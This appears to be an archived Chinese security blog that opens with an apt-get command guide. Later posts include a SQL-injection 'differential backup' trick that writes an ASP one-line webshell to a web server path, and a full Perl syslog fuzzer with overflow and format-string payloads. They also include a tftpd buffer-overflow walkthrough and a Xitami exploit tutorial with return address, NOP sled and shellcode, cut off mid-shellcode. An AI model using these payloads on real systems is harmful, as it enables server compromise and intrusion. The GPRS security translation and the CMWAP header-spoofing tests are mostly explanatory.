正在加载...
 
[转载][Ubuntu资料]Apt-get使用指南  

[Ubuntu资料]Apt-get使用指南
2008年04月18日 10:30
Apt-get使用指南 - Ubuntu中文

wiki.ubuntu.org.cn/Apt-get%E4%BD%BF%E7%94%A8%E6...

Ubuntu中文 论坛 :: 阅读主题 - [原创]apt-get等命令行介绍

forum.ubuntu.com.cn/viewtopic.php?t=65707&highl...

 

命令

下面将要介绍的所有命令都需要sudo!使用时请将“packagename”和“string”替换成您想要安装或者查找的程序。

  • apt-get update——在修改/etc/apt/sources.list或者/etc/apt/preferences之後运行该命令。此外您需要定期运行这一命令以确保您的软件包列表是最新的。
  • apt-get install packagename——安装一个新软件包(参见下文的aptitude)
  • apt-get remove packagename——卸载一个已安装的软件包(保留配置文件)
  • apt-get --purge remove packagename——卸载一个已安装的软件包(删除配置文件)
  • dpkg --force-all --purge packagename 有些软件很难卸载,而且还阻止了别的软件的应用,就可以用这个,不过有点冒险。
  • apt-get autoclean apt会把已装或已卸的软件都备份在硬盘上,所以如果需要空间的话,可以让这个命令来删除你已经删掉的软件
  • apt-get clean 这个命令会把安装的软件的备份也删除,不过这样不会影响软件的使用的。
  • apt-get upgrade——更新所有已安装的软件包
  • apt-get dist-upgrade——将系统升级到新版本
  • apt-cache search string——在软件包列表中搜索字符串
  • dpkg -l package-name-pattern——列出所有与模式相匹配的软件包。如果您不知道软件包的全名,您可以使用“*package-name-pattern*”。
  • aptitude——详细查看已安装或可用的软件包。与apt-get类似,aptitude可以通过命令行方式调用,但仅限于某些命令——最常见的有安装和卸载命令。由于aptitude比apt-get了解更多信息,可以说它更适合用来进行安装和卸载。
  • apt-cache showpkg pkgs——显示软件包信息。
  • apt-cache dumpavail——打印可用软件包列表。
  • apt-cache show pkgs——显示软件包记录,类似于dpkg –print-avail。
  • apt-cache pkgnames——打印软件包列表中所有软件包的名称。
  • dpkg -S file——这个文件属于哪个已安装软件包。
  • dpkg -L package——列出软件包中的所有文件。
  • apt-file search filename——查找包含特定文件的软件包(不一定是已安装的),这些文件的文件名中含有指定的字符串。apt-file是一个独立的软件包。您必须 先使用apt-get install来安装它,然後运行apt-file update。如果apt-file search filename输出的内容太多,您可以尝试使用apt-file search filename | grep -w filename(只显示指定字符串作为完整的单词出现在其中的那些文件名)或者类似方法,例如:apt-file search filename | grep /bin/(只显示位于诸如/bin或/usr/bin这些文件夹中的文件,如果您要查找的是某个特定的执行文件的话,这样做是有帮助的)。

* apt-get autoclean——定期运行这个命令来清除那些已经卸载的软件包的.deb文件。通过这种方式,您可以释放大量的磁盘空间。如果您的需求十分迫切,可 以使用apt-get clean以释放更多空间。这个命令会将已安装软件包裹的.deb文件一并删除。大多数情况下您不会再用到这些.debs文件,因此如果您为磁盘空间不足 而感到焦头烂额,这个办法也许值得一试。


常用的APT命令参数

apt-cache search package 搜索包

apt-cache show package 获取包的相关信息,如说明、大小、版本等

sudo apt-get install package 安装包

sudo apt-get install package - - reinstall 重新安装包

sudo apt-get -f install 修复安装"-f = --fix-missing"

sudo apt-get remove package 删除包

sudo apt-get remove package - - purge 删除包,包括删除配置文件等

sudo apt-get update 更新源

sudo apt-get upgrade 更新已安装的包

sudo apt-get dist-upgrade 升级系统

sudo apt-get dselect-upgrade 使用 dselect 升级

apt-cache depends package 了解使用依赖

apt-cache rdepends package 是查看该包被哪些包依赖

sudo apt-get build-dep package 安装相关的编译环境

apt-get source package 下载该包的源代码

sudo apt-get clean && sudo apt-get autoclean 清理无用的包

sudo apt-get check 检查是否有损坏的依赖

标签:安全技术,胡言乱语 | 浏览数(37) | 评论数(1) | 06-26 15:58
[论文]无线安全运维支撑平台  

http://www.venustech.com.cn/Case/183/121.Html

标签:安全技术 | 浏览数(50) | 评论数(1) | 06-25 20:38
暴力破解NEEAO的防范注入管理界面的WVS 4 FUZZER脚本  

弄了个暴力破解neeao的防范SQL注入管理界面的WVS4 FUZZER脚本(不要忘了改目标IP地址),在这里,还是很暴力:)

截图:

 

标签:安全技术 | 浏览数(104) | 评论数(0) | 06-10 02:54
nasl maker version 1.5  

www.i170.com/Attach/BEA8BFC6-98AB-4264-A16C-BA755922F9A8

标签:安全技术 | 浏览数(183) | 评论数(1) | 05-06 22:20
nasl maker version 1.2  

修复了原有的一些BUG,加入脚本导入功能,也更兼容标准了(与NESSUS、X-SCAN书写方式兼容)。

带源代码,下载地址在:

www.i170.com/Attach/8977369D-C691-4270-8AB7-85FFDB27A4D3

标签:安全技术 | 浏览数(201) | 评论数(0) | 05-01 20:16
nasl插件生成器(带源码)  

下载地址:www.i170.com/Attach/473E8321-8D19-412D-93CC-3C2095172DC1

标签:安全技术 | 浏览数(205) | 评论数(0) | 04-26 23:28
WEB暴力破解--我用wvs fuzzer  

WEB暴力破解--我用wvs fuzzer

Writer: demonalex[at]dark2s[dot]org

 

 

讲到WEB暴力破解通过大家都会用小榕的溯雪,但并不是所有WEB破解溯雪都是应付自如的(不要说我说小榕他老人家的坏话),最近因为工作的关系,碰到一个网管型设备的WEBPORTAL需要做WEB破解,看看HTML的源码:

<script language=javascript>

function login_send()

{

  var f, p, page, url, option;

  f = document.form_login.forced_in.value;

  u = document.form_login.username.value;

  p = document.form_login.passwd.value;

  pg = document.form_login.page.value;

  url = "atm_login?username="+u+"&passwd="+p+"&forced_in="+f+"&page="+pg;

  option = "toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,favorites=no,resizable=no,left=230,width=520,top=120,height=300";

  window.open(url, '_blank', option);

}

</script>

<form name='form_login' action='__Javascript:login_send();'>

           <input type='hidden' name='forced_in' value='false'><input type='hidden' name=page value=''><input type='hidden' name='redirect_portal_ip' value=''>

           <tr height=25%><td colspan='2'><img src='images/login-men.gif' width='177' height='22'></td>

            <td width='27%' rowspan='4'><img src='images/l-hand.gif' width='148' height='141'></td></tr>

              <tr height=25%><td width='28%' class='inputlabel'>Username:</td>

            <td width='45%'><input name='username' type='text' value='' style='width:120px' class='inputbox'></td></tr>

        <tr height=25%><td class='inputlabel'>Password:</td>

            <td><input type='password' name='passwd' value='' style='width:120px' class='inputbox'></td></tr>

        <tr height=25%><td>&nbsp;</td>

            <td><input type=image src=images/login-go.gif width='71' height='22'></td></tr>

        </from>

这里formaction是交给一个本地的javascript自定义函数-- login_send来完成的,用溯雪的话:

 

看来是因为调用了javascript的关系吧

阅读全文...
标签:安全技术 | 浏览数(351) | 评论数(1) | 04-16 00:17
一直没空弄“差异备份”。。。  

首先找到一个可以进行";"加一句SQL语句的SQL注入点,然后通过写入一句话马马并利用backup语句生成*.ASP(一句话的服务端),OK,LOG之。例子:

+++++++++++++++++++++++++++++++++++++++++++++++

差异备份的主要代码:

;declare at a sysname,@s varchar(4000) select @a=db_name(),@s=0x626273 backup database @a to disk=@s--

;Drop table [heige];create table [dbo] dot [heige] ([cmd] [image])--

;insert into heige(cmd) values(0x3C2565786563757465207265717565737428226C2229253E)--

;declare at a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C7765625C312E617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT--

这段代码中,0x626273是要备份的库名bbs的十六进制,可以是其他名字比如bbs.bak; 0x3C2565786563757465207265717565737428226C2229253E是<%execute request("l")%>的十六进制,是lp最小马;0x643A5C7765625C312E617370是d:\web\1.asp的十六进制,也就是你要备份的webshell路径。

+++++++++++++++++++++++++++++++++++++++++++++++

标签:安全技术 | 浏览数(275) | 评论数(0) | 04-13 14:33
[转载]syslog-fuzzer.pl  

#!/usr/bin/perl
#syslog Fuzzer v0.1
#jaime.blasco@aitsec.com
#www.aitsec.com

use IO::Socket::INET;
use Getopt::Std;
use POSIX qw(strftime);

getopt('hp', \ my %opts );

$SIG{INT}=\&exitz;
print "
\t  Syslog Fuzzer v0.1 by Jaime Blasco (c) 2008
\t        www.aitsec.com
";
if(!defined($opts{h}) or !defined($opts{p})){
    print "
        -h   : Host\n
        -p   : Port Number
    ";
exit
}

$port = $opts{p};
$host = $opts{h};

@bfo = ('A'x10, 'A'x20, 'A'x40, 'A'x80, 'A'x160, 'A'x320, 'A'x640, 'A'x1280, 'A'x3000, 'A'x5000, 'A'x8000, 'A'x12000, 'A'x15000);
@fse = ("%s%p%x%d", ".1024d", "%.2049d", "%p%p%p%p", "%x%x%x%x", "%d%d%d%d", "%s%s%s%s", "%99999999999s",
        "%08x", "%%20d", "%%20n", "%%20x", "%%20s", "%s%s%s%s%s%s%s%s%s%s", "%p%p%p%p%p%p%p%p%p%p",
        "%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%", "%s"x150, "%x"x300);
@int = ("-1", "0", "0x100", "0x1000", "0x3fffffff", "0x7ffffffe", "0x7fffffff", "0x80000000", "0xfffffffe", "0xffffffff", "0x10000", "0x100000");

print "Using host: ".$host."\n";
print "Using port: ".$port."\n";

$con=new IO::Socket::INET->new(PeerPort=>$port,
        Proto=>'udp',
        PeerAddr=>$host);

#http://www.ietf.org/rfc/rfc3164.txt
#udp SYSLOG PACKET looks like:
#<Priority>Header Message text
# Header = Date Hostname PID

$npriority = '<0>';
$ndate = strftime "%b%e %H:%M:%S", localtime;
$nhostname = "10.0.0.2";
$npid = 'fuzzer[10]';
$nmsg = "Syslog Fuzzer v0.1 by Jaime Blasco (c) 2008";

#fuzzing PRI

#Buffer Overflow
foreach (@bfo) {
    $header = $ndate.' '.$nhostname.' '.$npid;
    $packet = '<'.$_.'>'.$header.': '.$nmsg;
    $con->send($packet);
   
    #print $packet;
}
sleep 1;

#Format Strings
foreach (@fse) {
    $header = $ndate.' '.$nhostname.' '.$npid;
    $packet = '<'.$_.'>'.$header.': '.$nmsg;
    $con->send($packet);
    #print $packet;
}
sleep 1;

#Integer Overflows
foreach (@int) {
    $header = $ndate.' '.$nhostname.' '.$npid;
    $packet = '<'.$_.'>'.$header.': '.$nmsg;
    $con->send($packet);
    #print $packet;
}
sleep 1;

#fuzzing header
   
    #fuzzing Date
   
#Buffer Overflow
foreach (@bfo) {
    $header = $_.' '.$nhostname.' '.$npid;
    $packet = $npriority.$header.': '.$nmsg;
    $con->send($packet);
    #print $packet;
}
sleep 1;

#Format Strings
foreach (@fse) {
    $header = $_.' '.$nhostname.' '.$npid;
    $packet = $npriority.$header.': '.$nmsg;
    $con->send($packet);
    #print $packet;
}
sleep 1;

#Integer Overflows
foreach (@int) {
    $header = $_.' '.$nhostname.' '.$npid;
    $packet = $npriority.$header.': '.$nmsg;
    $con->send($packet);
    #print $packet;
}
sleep 1;

    #fuzzing hostname

#Buffer Overflow
foreach (@bfo) {
    $header = $ndate.' '.$_.' '.$npid;
    $packet = $npriority.$header.': '.$nmsg;
    $con->send($packet);
    #print $packet;
}
sleep 1;

#Format Strings
foreach (@fse) {
    $header = $ndate.' '.$_.' '.$npid;
    $packet = $npriority.$header.': '.$nmsg;
    $con->send($packet);
    #print $packet;
}
sleep 1;

#Integer Overflows
foreach (@int) {
    $header = $ndate.' '.$_.' '.$npid;
    $packet = $npriority.$header.': '.$nmsg;
    $con->send($packet);
    #print $packet;
}
sleep 1;

    #fuzzing PID
   
#Buffer Overflow
foreach (@bfo) {
    $header = $ndate.' '.$nhostname.' '.$_;
    $packet = $npriority.$header.': '.$nmsg;
    $con->send($packet);
    #print $packet;
}
sleep 1;

#Format Strings
foreach (@fse) {
    $header = $ndate.' '.$nhostname.' '.$_;
    $packet = $npriority.$header.': '.$nmsg;
    $con->send($packet);
    #print $packet;
}
sleep 1;

#Integer Overflows
foreach (@int) {
    $header = $ndate.' '.$nhostname.' '.$_;
    $packet = $npriority.$header.': '.$nmsg;
    $con->send($packet);
    #print $packet;
}
sleep 1;

#fuzzing msg

#Buffer Overflow
foreach (@bfo) {
    $header = $ndate.' '.$nhostname.' '.$npid;
    $packet = $npriority.$header.': '.$_;
    $con->send($packet);
    #print $packet;
}
sleep 1;

#Format Strings
foreach (@fse) {
    $header = $ndate.' '.$nhostname.' '.$npid;
    $packet = $npriority.$header.': '.$_;
    $con->send($packet);
    #print $packet;
}
sleep 1;

#Integer Overflows
foreach (@int) {
    $header = $ndate.' '.$nhostname.' '.$npid;
    $packet = $npriority.$header.': '.$_;
    $con->send($packet);
    #print $packet;
}

标签:安全技术 | 浏览数(225) | 评论数(0) | 04-13 02:02
Debug in tftpdwin  

Debug in ftpdwin0.4.2
writer: demonalex[at]dark2s[dot]org

I remember had seem some information about overflow ftpdwin(verion 0.4.2),perhaps memory ability was decline,so I wonder
to find which idea can tell me how to overflow that baby...Let's show my tools:IDA,,,OLLYDB,,,WINDB,,,AND SO ON...

1)First,open IDA to create *.MAP and export.Take OllyDb attach tftpd.exe,import MAP File to OllyDb, F9 for running...

2)Now we must find length of useless buffer,how??? Write one fuzz script of perl named fuzzer.pl,content:
*********************************************************
#!/bin/perl -w
use Net::TFTP;
$|=1;
if(!defined($target_ip=shift)){
 die("usage: $0 target_ip\n");
 }
##################################
#expcode:
$buffer="\x41"x500;     #length of useless buffer
$expcode="$buffer";
##################################
$tftp = Net::TFTP->new("$target_ip", BlockSize => 1024);
$tftp->octet;
$tftp->get("$expcode");
exit 1;
*********************************************************
500 Bytes?Mistaken...EIP is not "\x41"x4...How about 400 Bytes?Of course is not 400,too.But let us see the content
of stack:
00F5F174   00000000
00F5F178   00406437  返回到 tftpd.00406437 来自 <jmp.&msvcrt.strcpy>
00F5F17C   00F5F19C
00F5F180   41414141
00F5F184   00000080
00F5F188   00240000
00F5F18C   00000001
Ctrl+G calls goto site to 00406437 and F2 give it a breakpoint in OllyDB.

3)Open WINDB to Attach tftpd.exe,brute force about eip equal to 0x41414141,the length is 288(includes RET).

4)Change expcode in fuzzer.pl:
##################################
#expcode:
$buffer="\x41"x284;     #length of useless buffer
$ret="\x44\x43\x42\x41";
$expcode="$buffer"."$ret";
##################################

5)In result,Ctrl+F2 into OllyDB for run tftpd.exe again,then play our new fuzzer.pl,stop it at our breakpoint(00406437)
,see:
00406437  |.  8D85 D8FDFFFF lea     eax, [ebp-228]                   ; ||
0040643D  |.  890424        mov     [esp], eax                       ; ||
00406440  |.  E8 DB650100   call    <jmp.&msvcrt.strlen>             ; |\strlen
00406445  |.  83F8 03       cmp     eax, 3                           ; |
00406448  |.  76 16         jbe     short 00406460                   ; |
0040644A  |.  C74424 04 5D6>mov     dword ptr [esp+4], 0042655D      ; |
00406452  |.  8D85 D8FDFFFF lea     eax, [ebp-228]                   ; |
00406458  |.  890424        mov     [esp], eax                       ; |
0040645B  |.  E8 70650100   call    <jmp.&msvcrt.strcat>             ; \strcat
00406460  |>  8D85 E8FEFFFF lea     eax, [ebp-118]                   ; |
00406466  |.  894424 04     mov     [esp+4], eax                     ; |
0040646A  |.  8D85 D8FDFFFF lea     eax, [ebp-228]                   ; |
00406470  |.  890424        mov     [esp], eax                       ; |
00406473  |.  E8 58650100   call    <jmp.&msvcrt.strcat>             ; \strcat
00406478  |>  8B45 10       mov     eax, [ebp+10]                    ; |
0040647B  |.  05 04010000   add     eax, 104                         ; |
00406480  |.  894424 0C     mov     [esp+C], eax                     ; |
00406484  |.  8B45 10       mov     eax, [ebp+10]                    ; |
00406487  |.  894424 08     mov     [esp+8], eax                     ; |
0040648B  |.  C74424 04 040>mov     dword ptr [esp+4], 104           ; |
00406493  |.  8D85 D8FDFFFF lea     eax, [ebp-228]                   ; |
00406499  |.  890424        mov     [esp], eax                       ; |
0040649C  |.  E8 7F6C0100   call    <jmp.&KERNEL32.GetFullPathNameA> ; \GetFullPathNameA
004064A1  |.  83EC 10       sub     esp, 10
004064A4  |.  85C0          test    eax, eax
004064A6  |.  75 0C         jnz     short 004064B4
004064A8  |.  C785 D4FDFFFF>mov     dword ptr [ebp-22C], 0
004064B2  |.  EB 0A         jmp     short 004064BE
004064B4  |>  C785 D4FDFFFF>mov     dword ptr [ebp-22C], 1
004064BE  |>  8B85 D4FDFFFF mov     eax, [ebp-22C]
004064C4  |.  C9            leave
004064C5  \.  C3            retn
Press F8 from 00406437 to 004064C5,when come down at 004064C5,you stop to find content of stack:
00F5F3C8   41424344
00F5F3CC   00428B00  tftpd.00428B00
hey hey ,u did it~

标签:安全技术 | 浏览数(324) | 评论数(3) | 03-08 23:34
[翻译文]GPRS与3G安全  

www.i170.com/Attach/78BFC496-3972-4D7B-B29B-EC4F77F64375

***************************************************************

 

[翻译文]GPRS3G安全

原著:Andy David

原文:http://www.gprssecurity.com/

译文:demonalex(demonalex[at]dark2s[dot]org)

 

 

v        什么是GPRS3G

通用分组无线系统(General Radio Packet System,GPRS)是由互联网接入提供商提供的一个较为便利的基础网络设施。3G通常被称为“多用途移动手机服务”(Universal Mobile Telephony Service,UMTS),传输速率通常达384kbps或更高。GPRS3G架构的主要不同点是处理无线通讯的技术上,在3G架构中为无线通讯设备提供了更高的带宽,然而它们使用的硬件设备都是相同的。

下图为构成GPRS架构的基本架构:

下面说说上图的各组件:

移动设备(Mobile Device

可以是支持GPRSPDAPC或笔记本。

基站系统(Base Station System

基站系统由基站控制器(Base Station ControllerBSC)与传输基站(Base Transceiver Station BTS)组成,其中BTS是进行无线数据的发送与接收的基本设备。

家庭位置注册接口与来访位置注册接口(Home Location Register and Visitor Location Register

简称HLR/VLR,是由ISP维护的用户记录数据库。HLR数据库中包含附加的服务信息、认证证明、APNAccess Point Name)与ISP预约信息。在GPRS中,ISP的预约信息用于HLRSGSN之间的交互。而VLR则用于为漫游用户提供临时的记录数据库(内容与HLR相同)。

GPRS服务节点(Serving GPRS Support NodeSGSN

SGSN用于在其工作区域内转发移动设备的数据,并进行相关的数据路由与传输。它服务的GPRS用户(预约者)皆在某个地理区域内,它提供的服务包括:加密、认证、会话管理与流动性管理(漫游)等功能。

GPRS网关节点(GGSN Gateway GPRS Support NodeGGSN

GGSN用于中转GPRS核心网与用户企业网(或Internet)通信的数据。它也负责会话管理、协调预约者(用户)与SGCN协商、计费信息管理等功能。

企业端前置设备(Customer Premises EquipmentCPE)路由

一种安装在企业用户前端、允许企业用户通过IP(及以上协议栈)直接与GPRS网通信的路由型设备。ISP可以利用GRE Generic Routing Encapsulation)隧道使GPRS网与客户的企业网进行通信。

访问点名称(Access Point Node/Name,APN

APN是为GPRS建立连接时提供的FQDN域名,如conroporate1.operator.com*备注:中国移动GPRS网的APN就是CMWAPCMNET)。APN主要是为连接相应CPE路由时标识应该连接GGSN

认证服务器(The Radius Server

Radius服务器用于为接入指定APN的移动设备分配IP地址等网络信息。当用户通过GPRS接入特定APNIP地址将要被接入方机构预先设定的地址池进行分配,致使移动设备可以通过网络中的其它设备进行通信。

 

v        哪里存在安全问题?

来自移动终端方面的风险

网络基础设施枚举常见的工具如pingtraceroute等可以发现一些本来不应该被发现的GPRS网络基础设施,例如GRE隧道节点等。且在此范围内的一些未经专门配置的、提供SNMP服务的设备可能会泄露其相关配置导致被攻击者利用。

试图通过移动终端发送GTP通信数据

GTP协议是用于在GPRS核心网络内控制GPRS连接的协议,全称GPRS Transport Protocol。若GTP信息可以随意被移动终端发送的话,则随意控制其它用户(预约者)的连接将变得非常方便。大量GPRS核心的设备存在着过时的风险,如“当GGSN接收到来自移动终端发送的畸形GTP包时,GGSN将曲解这些包的内容从而引起拒绝服务攻击”。然而,这些风险都不太像目前发生在MODEM设备中出现的个案。

预约者互通风险

ISP商没有解决基于网络层面中预约者(GPRS用户)间通信,则可能可以通过这条链路穿越基础设施甚至绕过某些应用计费业务。因此,用户可以利用这点使用VOIP等业务而不需要扣除该应用的相关费用。(*备注:其实这个风险是利用某GPRS用户搭建双链路实现VOIP业务)

来自GPRS核心的风险

路由至未经批准的APN

GTP协议在不加密与不需要认证的情况下,将存在非常严重的安全风险。当移动终端使用者通过接入至某企业的接入点(*备注:不需要加密与认证的APN)从而通过GPRS核心网访问其它客户网络。

通过无线接口路由至其他用户

与上一个例子一样,若滥用GTP协议将导致路由至其他移动终端的风险。

使用者配置GPRS连接

正常情况下,GTP协议状态是由网络进行初始化的。若在GPRS核心网中激活了“使用者配置GPRS连接”功能的情况下,若被攻击者利用将导致被攻击者大量扣费。

拆解已经建立的连接

接入GPRS核心网的攻击者可以瞄准某些移动终端及选择性的拆除他们已经建立的连接。

来自企业GPRS网络与Internet的风险

利用非授权访问点进入CPE路由

如果ISP接受企业GPRS网络存在不严谨的配置存在未经授权的访问点时,该访问点将可能被利用,获取到详细的核心基础网络信息,如GRE隧道信息。

潜在的拒绝服务攻击

通过GRE隧道中的IP地址(参考RFC1918)与企业网的地址冲突,导致持续的网络中断。

高付费攻击

攻击者可以通过在(与GPRS核心网连接的)企业网或Internet中搭建一个恶意的服务器,并获取GPRS网动态分配的IP地址,然后设置该服务器不断地发送ICMPPING)数据包给GPRS网内各类接收ICMP的节点,然后立刻下线。虽然恶意服务器已经下线了,但ICMP的请求/应答过程还在进行,此时当有其它移动客户端进入GPRS网络并获取到与刚刚下线的恶意服务器相同IP的时间,就会接收到刚刚恶意服务器发送的ICMP请求对应的ICMP应答。当恶意服务器发送大量的ICMP数据包给某个IP地址时,将导致无意的用户被大量地扣除网络传输费用。

通过访问点对街道集线箱系统进行访问

BTS基站(GPRS系统基础设施)与B节点(3G系统基础设施)常常放置在街道的集线箱中,通过金属盒包装着放置在街道的两侧或空旷的地方。目前集线箱系统与GPRS核心网通信的技术是依靠有线链路或无线微波构成的。排除产品的维护商外,集线箱装载的系统几乎所有的物理接口都可能被别有用心的人恶意利用。当然,大多数这样的非授权进行使用的行为我们都可以通过报警系统得知,并通过基于软件上的配置对这方面的访问进行屏蔽,使其不能直接接入核心网。

通过管理访问点对核心网进行访问

诸如SGSNGGSN等设备可以被运营商通过核心网进行访问。这个级别的访问可以被某些个别个体利用,对网络与数据传输造成严重的破坏。然而,ISP通过会对这类型的访问进行有效的隔离,限制只有某些指定的设备才可以进行这方面的访问。此外,运营商还会通过使双因子认证方式严格限制可访问的使用者。

 

v        我们可以做些什么?

机密性

若企业用户担心其敏感数据由于穿越GPRS网络而造成泄露的情况,可以考虑通过IPSec进行VPN点对点传输保护。就算在ISP中存在恶意的攻击者对数据流进行路由重置并捕捉时亦无法解开明文,从而保障数据机密性。VPN解决方案能经得起严格的测试,但前提条件是必须保障无线信号的强度。

运营商保障网络中的各类设备与接口能被他们的用户访问与控制同时并为用户提供强机密性的程度是很有限的。

完整性

运营商将确保在核心网内GTP Version 1逐步推行,并慢慢淘汰GTP Version 0。这将导致恶意攻击者无法在网络核心通过流量鉴别与增加其操作难度。此外,已经获得授权通过“全球漫游交互网”的漫游用户也可以直接在异地接入GPRS核心网,因此他们亦有能力绕过GTP感知型防火墙而进行基于GTP的攻击。

若有一条网络ACL策略确定预约者间没有任何过滤的话,那么ISP将无法保障类似高付费攻击类的安全问题。

可用性

企业用户必须确保RFC1918IP地址冲突不会因为ISP提供的GPRS网络服务导致危害到自己的网络。

最后,运营商应当定期更新/维护GPRS核心网内设备,因为风险不会仅仅只会出现在类似SGSNGGSN这样的GPRS设备中,而同样会因为不严谨的配置或安全漏洞而出现常见的操作系统中(如MicrosoftWindowsSunSolaris)。

 

标签:安全技术 | 浏览数(344) | 评论数(0) | 03-07 12:32
对CMWAP的测试(二)  

和磁力在公司做了个实验:
他与我同联入CMWAP,然后我开HTTPD,他浏览,确认是成功的。
他的IP:
10.214.217.228
我的IP:
10.215.129.15
我与他的WAP GW同为211.139.151.74。磁力的浏览的手机得到的HTTP头:
GET / HTTP/1.1
Host: 10.215.129.15
Accept: */*, text/x-vcard, text/x-vcalendar, image/gif, image/vnd.wap.wbmp
Accept-Language: zh-cn
UA-OS: Windows CE (Pocket PC) - Version 5.2
UA-color: color24
UA-Voice: TRUE
UA-pixels: 320x240
UA-CPU: ARM
Accept-Encoding: gzip,deflate
If-Modified-Since: Mon, 03 Mar 2008 02:51:56 GMT
Content-length: 0
Via: WTP/1.1 GDSZ-PS-GW015-WAP05.gd.chinamobile.com (Nokia WAP Gateway 4.0/CD3/4.1.79)
X-Forwarded-For: 10.214.217.228
X-Source-ID: GGSNGZ05
X-Nokia-CONNECTION_MODE: TCP
X-Up-Bearer-Type: GPRS
X-Nokia-gateway-id: NWG/4.1/Build04
Connection: keep-alive

磁力在我家,我们都上CMWAP,
我的IP:10.218.88.51
磁力的IP:10.218.196.131
我们的网关都是:218.204.243.42
通过NMAP探测网关得到的信息:
Host 218.204.243.42 appears to be up ... good.
All 1709 scanned ports on 218.204.243.42 are filtered
Device type: general purpose|firewall|WAP
Running: IBM OS/390 V2, IBM OS/400 V4|V5, IBM z/OS 1.4.X|1.6.X|1.8.X, IBM z/VM, Netgear embedded, TRENDnet embedded

通过上述实验可以证明,在同一个物理区域(区域的具体大小还不好说...)GPRS接入且APN相同(都是CMWAP)的情况下,大家使用的WAP GW都是相同的。

另外,两个接点间的ICMP是被过滤的,但传输层及以上的的应用是可以通信的。

标签:安全技术 | 浏览数(314) | 评论数(0) | 03-04 00:06
对CMWAP的测试(一)  

1)测试ARP。

首先测试是BAN的灵感,在CMWAP下进行ARP测试,但通过GPRS进CMWAP是PPP协议,与ARP在不同的协议栈,因此ARP在GPRS连入CMWAP上是不起作用的。

2)测试WAP GW的缺陷。

连入后通过安全探测工具对WAP GW进行探测,只发现TCP80与TCP8080(HTTP PROXY)与WAP GW协议(UDP9200与UDP9201),目前发现不了存在任何缺陷。当前我连接后的广州CMWAP GW IP是218.204.243.42。

3)测试是否能通过在CMWAP外对SP的网站进行伪造WAP网关头的测试:

锁定的测试目标是:http://3g.sina.com.cn/prog/wapsite/weather_new/index.php?pos=1&vt=1

首先做个文档wap.txt(这个样本是BAN提供的,谢谢他):

GET /prog/wapsite/weather_new/index.php?pos=1&vt=1 HTTP/1.1
Host: 3g.sina.com.cn
Accept: */*, text/x-vcard, text/x-vcalendar, image/gif, image/vnd.wap.wbmp
Accept-Language: zh-cn
UA-OS: Windows CE (Pocket PC) - Version 5.2
UA-color: color16
UA-pixels: 240x320
UA-Voice: TRUE
UA-CPU: ARM
Accept-Encoding: gzip,deflate
Content-length: 0
Via: WTP/1.1 GDSZ-PS-GW016-WAP05.gd.chinamobile.com (Nokia WAP Gateway 4.0/CD3/4.1.79)
X-Forwarded-For: 10.214.11.83
X-Source-ID: GGSNGZ05
X-Nokia-CONNECTION_MODE: TCP
X-Up-Bearer-Type: GPRS
X-Nokia-gateway-id: NWG/4.1/Build04
Connection: keep-alive

注意:文档的最后要加两个回车,等同于HTTP通信会话中的"\r\n\r\n"。然后写个PERL脚本fuzzer.pl,内容:

#!/bin/perl -w
$|=1;
open(WAP,"<wap.txt");
@host=<WAP>;
close(WAP);
chomp(@host);
$target=$host[1];
$target=~s/Host: //;
system("nc.exe $target 80".'<wap.txt>result.wml');
system("notepad.exe result.wml");
exit 1;

运行后会自动打开result.wml,发现:

*********************************************

HTTP/1.1 302 Found
Date: Sun, 02 Mar 2008 09:45:01 GMT
Server: Apache/1.3.37 (Unix) PHP/4.4.4
Location: http://3g.sina.com.cn/3g/pro/index.php?tid=254&did=817&vid=84&pos=Err403
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1

14a
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>302 Found</TITLE>
</HEAD><BODY>
<H1>Found</H1>
The document has moved <A HREF="http://3g.sina.com.cn/3g/pro/index.php?tid=254&amp;did=817&amp;vid=84&amp;pos=Err403">here</A>.<P>
<HR>
<ADDRESS>Apache/1.3.37 Server at 127.0.0.1 Port 80</ADDRESS>
</BODY></HTML>

0

*********************************************

看看http://3g.sina.com.cn/3g/pro/index.php?tid=254&did=817&vid=84&pos=Err403,嘿嘿,用OPERA看看,还是识别为‘你不是通过手机上网’,看来与头无关,估计是SP中加入了CMWAP GW的IP地址列表...估计是...

标签:安全技术 | 浏览数(361) | 评论数(1) | 03-02 17:22
How to pack your Sandwich about PoC?  

How to pack your Sandwich about PoC?
writer: demonalex[at]dark2s[dot]org


Premise of knowledge:
*How to be sure about how many length of content can fill in useless buffer?
*Which is a useful RETURN ADDRESS?
*How to take EIP to shellcode?
If you can handle the above-mentioned reason,I think your PoC will be a honey for hax0r...

In face,structure of PoC looks like a Sandwich(look at my Topic,so...so...hey!).Which god can give me this
idea???Mystery...

1)At first,we must choose one development langauge to pack PoC.I like Perl...
2)Secondary,we must make sure how many length of content can fill in useless buffer.
3)Third,of course...our RETURN ADDRESS must be one address about 'jmp esp'...Different address for all kinds of OS...
PS:Some address is great versatility,someone like 0x7ffa4512.
4)At last,'jump code' after Return Address can force eip to jump into stack of shellcode.

This segment I will give an example of PoC about Xitami(Version 2.5c2),Perl format:
01:###############################################
02:#PoC:
03:$head="GET / HTTP/1.1\r\n".
04:      "Host: $target_ip\r\n".
05:      "If-Modified-Since: Evil, ";
06:$buffer="\x41"x72;
07:$ret="\x12\x45\xfa\x7f";
08:$jmpcode="\xeb\x30";
09:$n0p="\x90"x55;
10:# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com
11:$shellcode =
12:"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x9b".
13:"\x41\xde\xdc\x83\xeb\xfc\xe2\xf4\x67\xa9\x9a\xdc\x9b\x41\x55\x99".
14:"\xa7\xca\xa2\xd9\xe3\x40\x31\x57\xd4\x59\x55\x83\xbb\x40\x35\x95".
15:"\x10\x75\x55\xdd\x75\x70\x1e\x45\x37\xc5\x1e\xa8\x9c\x80\x14\xd1".
16:"\x9a\x83\x35\x28\xa0\x15\xfa\xd8\xee\xa4\x55\x83\xbf\x40\x35\xba".
17:"\x10\x4d\x95\x57\xc4\x5d\xdf\x37\x10\x5d\x55\xdd\x70\xc8\x82\xf8".
